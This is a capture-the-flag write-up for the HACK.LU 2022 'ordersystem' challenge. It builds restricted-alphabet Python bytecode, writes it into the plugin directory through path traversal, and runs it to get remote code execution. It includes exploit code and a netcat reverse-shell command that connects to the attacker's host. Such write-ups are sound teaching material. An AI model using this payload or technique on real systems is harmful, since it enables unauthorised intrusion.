HACK.LU 2022 - ordersystem
30 Oct 2022, Writeup by Timo Ludwig
Category | Pwn Pasta |
---|---|
Ordered | 14 times |
Calories | 343 |
Chef | tunn3l |
Spicyness | 🌶️ |
At our restaurant we like to deploy our own software. This time, we let our intern implement a digital ordering system. Can you test it for us? It has some very promising features already, though not all are shipped in this demo version.
Challenge
Run the service locally:
cd src
docker build -t ordersystem . && docker run -p 4444:4444 --rm -it ordersystem
The service exposes three commands at port 4444
:
S
: Store key-value pairs in memory- The keys have to be exactly 12 bytes long
- The values can only contain hex characters which are processed by
bytes.fromhex(data)
D
: Dump the stored data to disk- Save the in-memory entries into the
storage
directory - The key is used as filename
- The value is used as file content
- Save the in-memory entries into the
P
: Run plugin code on the data
First observations
So at the first glance, the exploit path looked pretty straight forward:
- Create python bytecode to spawn a reverse shell
- Upload the bytecode via the
S
andD
commands into the plugins directory by using a path traversal - Run the bytecode via the
R
command - profit
Unfortunately, there is a small caveat to it: The dump command encodes the values to hex before writing them to disk:
open(full,'w').write(content.hex())
So the e.g. the bytecode \x64\x00
for LOAD_CONST 0 is converted to "6400"
which would be interpreted as the bytecode \x36\x34\x30\x30
from the plugin command (which directly segfaults, obviously).
So in other words, we have to create a bytecode which can be represented by printable hex characters, which dramatically limits our options:
In [1]: import dis
...: {
...: hex(op_code): op_name
...: for op_name, op_code in dis.opmap.items()
...: if chr(op_code) in "0123456789abcdef"
...: }
Out[1]:
{'0x31': 'WITH_EXCEPT_START',
'0x32': 'GET_AITER',
'0x33': 'GET_ANEXT',
'0x34': 'BEFORE_ASYNC_WITH',
'0x36': 'END_ASYNC_FOR',
'0x37': 'INPLACE_ADD',
'0x38': 'INPLACE_SUBTRACT',
'0x39': 'INPLACE_MULTIPLY',
'0x61': 'STORE_GLOBAL',
'0x62': 'DELETE_GLOBAL',
'0x63': 'ROT_N',
'0x64': 'LOAD_CONST',
'0x65': 'LOAD_NAME',
'0x66': 'BUILD_TUPLE'}
Writing exploit bytecode
At first, we were a bit disillusioned in view of our limited options, but then we recognized a promising operation:
WITH_EXCEPT_START
: Calls the function in position 7 on the stack with the top three items on the stack as arguments. Used to implement the callcontext_manager.__exit__(*exc_info())
when an exception has occurred in a with statement.
– https://docs.python.org/3.10/library/dis.html#opcode-WITH_EXCEPT_START
Which means we have essentially found a CALL_FUNCTION operation with a few restrictions. Fortunately, the challenge authors gave us access to a debug function that is now very useful:
def plugin_log(msg,filename='./log',raw=False):
mode = 'ab' if raw else 'a'
with open(filename,mode) as logfile:
logfile.write(msg)
And coincidently, this function exactly takes three arguments which can be passed with WITH_EXCEPT_START
.
Since all data entries are passed to the plugin code via co_consts
, we can reference them as arguments, as long as they’re in the boundaries we can access (meaning indexes 0x30
-0x39
for "0"
-"9"
and 0x61
-0x66
for "a"
-"f"
).
This means we can use this function to pass our real (unrestricted) exploit bytecode as keys of the storage and write these to another plugin file which will be our final exploit plugin.
So we now can generate the bytecode that will call the function co_consts[func_index]
with the arguments co_consts[content_index]
and co_consts[filename_index]
:
def load_const(index=0x30):
return bytes([opmap["LOAD_CONST"], index])
def get_plugin_code(func_index, filename_index, content_index):
return (
# pos 7 on the stack is the plugin_log function
load_const(func_index)
# pos 4-6 are unused
# pos 3 contains the "raw" argument (must be non-zero)
+ load_const() * 4
# pos 2 contains the "filename"
+ load_const(filename_index)
# pos 1 contains the "msg"
+ load_const(content_index)
# now trigger the "exception handler"
+ bytes([[opmap["WITH_EXCEPT_START"], 0x30])
)
Solution
So to conclude, we can now:
- Calculate proof of work to get the real target port
- Craft python bytecode which will spawn a reverse shell to the attacker’s machine
- Divide this code into chunks of 12 bytes and store them as keys in the storage
- Upload and run one plugin for each chunk which appends the key to the logfile aka exploit plugin
- Run the exploit plugin
Perform proof of work
When connecting to the service, we were greeted with a small PoW:
nc 23.88.100.81 4444
Welcome to our new Ordersystem. To spawn a new instance, please solve this pow:
challenge = 507a9bdca6d2c71c130b (decode this!)
please send x in hex format so that md5(x+challenge) starts with 6 zeros. x should be 10 bytes long :
We didn’t spend much time on the script which brute forces a response which results in an md5 hash with 6 leading zeros when added to the given challenge.
Reverse shell as Python bytecode
At first, we tried the inbuilt compiler to do the hard work for us:
In [2]: plugin = compile("import os;os.system('nc 172.17.0.1 9001 -e /bin/sh')", "", "exec")
In [3]: plugin.co_code
Out[3]: b'd\x00d\x01l\x00Z\x00e\x00\xa0\x01d\x02\xa1\x01\x01\x00d\x01S\x00'
Which results in the following operations:
In [4]: import dis
...: dis.disassemble(plugin)
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (os)
6 STORE_NAME 0 (os)
8 LOAD_NAME 0 (os)
10 LOAD_METHOD 1 (system)
12 LOAD_CONST 2 ('nc 172.17.0.1 9001 -e /bin/sh')
14 CALL_METHOD 1
16 POP_TOP
18 LOAD_CONST 1 (None)
20 RETURN_VALUE
But viewing the disassembled code highlighted a few problems:
- We do not have access to the constants
0
andNone
(we can only create string constants by storing keys) - The
nc
command is too long to fit into a single key
So we didn’t get around crafting our own code:
# This is the index where we will later store the nc command
nc_index = ord("b")
co_names = ["len", "list", "print", "os", "system", "decode"]
exploit_asm = [
# Get length of empty list to push 0 on the stack
("BUILD_LIST", 0),
# Use NOP as arg to simplify compiler
("GET_LEN", 0x09),
# Invoke print() to push None onto the stack
("LOAD_NAME", co_names.index("print")),
("CALL_FUNCTION", 0),
# Import os
("IMPORT_NAME", co_names.index("os")),
# Invoke os.system()
("LOAD_METHOD", co_names.index("system")),
# Decode first batch of nc command
("LOAD_CONST", nc_index),
("LOAD_METHOD", co_names.index("decode")),
("CALL_METHOD", 0),
# Decode second batch of nc command
("LOAD_CONST", nc_index + 1),
("LOAD_METHOD", co_names.index("decode")),
("CALL_METHOD", 0),
# Decode third batch of nc command
("LOAD_CONST", nc_index + 2),
("LOAD_METHOD", co_names.index("decode")),
("CALL_METHOD", 0),
# Concatenate the three strings
("BUILD_STRING", 3),
# Finaly invoke the nc command
("CALL_METHOD", 1),
]
This performs the following:
- Invoke
len(list())
to push0
onto the stack - Invoke
print()
to pushNone
onto the stack - Import
os
- Load all three batches of the
nc
command - Decode the command batches because
BUILD_STRING
only works with strings and not byte strings - Concatenate the
nc
command - Invoke the
nc
command viaos.system()
Then, we can “compile” the code:
exploit_bytecode = b""
for op_name, arg in exploit_asm:
exploit_bytecode += bytes([opmap[op_name], arg])
After that, we need to append the constants to make them available to the plugin:
exploit_bytecode += b";"
exploit_bytecode += b";".join(n.encode() for n in co_names)
Upload exploit bytecode in chunks
Check how many chunks we need to store the exploit in:
num_chunks = len(exploit_bytecode) // chunk_size + 1
Pad the exploit code to a multiple of 12:
exploit_bytecode = exploit_bytecode.ljust(chunk_size * num_chunks, b";")
Upload exploit chunks:
for i in range(0, len(exploit_bytecode), chunk_size):
upload_file(exploit_bytecode[i : i + chunk_size])
Upload plugins to assemble exploit chunks
for i in range(num_chunks):
upload_plugin(
str(i), get_plugin_code(plugin_log_index, exploit_filename, base_index + i)
)
Upload additional constants
In order to make the exploit work, we need a few more constants.
These have to be uploaded after the plugins to make sure the plugins can be saved to disk successfully before any entries with invalid filenames are created (e.g. saving the file plugins/expl
won’t work because there is no directory storage/plugins
but we cannot traverse the path because then the logfile method won’t find it since this is operating from the working directory).
Store the filename which is used as “logfile” at index ord("a")
upload_file("plugins/expl")
Store the nc
command at index ord("b")
commmand = f"nc {ip} {rev_port} -e /bin/sh".ljust(chunk_size * 3, " ")
upload_file(commmand[:chunk_size])
upload_file(commmand[chunk_size : 2 * chunk_size])
upload_file(commmand[2 * chunk_size :])
Run plugins to assemble exploit chunks
for i in range(num_chunks):
run_plugin(str(i))
Run the exploit plugin
Now, we can listen for the reverse shell:
reverse_shell = listen(rev_port)
Run exploit code and spawn the reverse shell:
run_plugin("expl")
And finally get the flag
reverse_shell.sendline(b"echo $flag")
flag = reverse_shell.readline()
which rewards us with a reference I’m very drawn to.
flag{D1d_y0u_0rd3r_rc3?v=hfM4xPyie78}